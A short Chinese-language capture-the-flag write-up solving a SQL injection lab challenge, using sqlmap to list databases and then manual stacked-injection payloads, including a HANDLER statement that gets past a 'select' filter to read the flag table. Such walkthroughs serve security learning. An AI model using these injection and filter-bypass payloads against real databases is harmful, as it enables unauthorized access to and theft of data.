打开靶机。
我们输入1'
闭合一下试试。
可以看到应该是sql注入。我们用sqlmap扫描一下。
命令:sqlmap -u http://207e83af-288c-42a0-9c66-270c519d0466.node4.buuoj.cn:81/?inject=1
可以看到存在注入点。我们爆库。命令:
sqlmap -u http://207e83af-288c-42a0-9c66-270c519d0466.node4.buuoj.cn:81/?inject=1 --dbs
可以看到爆出的数据库为:supersqli
往下的话就不能用sqlmap了因为有waf,我不会绕,我们手工注入。
已经知道数据库了,我们采用堆叠注入。爆表名:?inject=-1';use supersqli;show tables--+
后面的--+
表示#
的意思。
可以看到表名是FlagHere
然后我们爆字段。?inject=-1';use supersqli;show columns from FlagHere--+
可以看到有一个flag字段。但是select被过滤了。无法继续堆叠注入。我们用handler读取。再知道表名是,可以用handler读取数据。格式为:handler 表名 open;handler 表名 read first;handler 表名 close;
所以我们payload:?inject=1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
拿下。
养一下眼。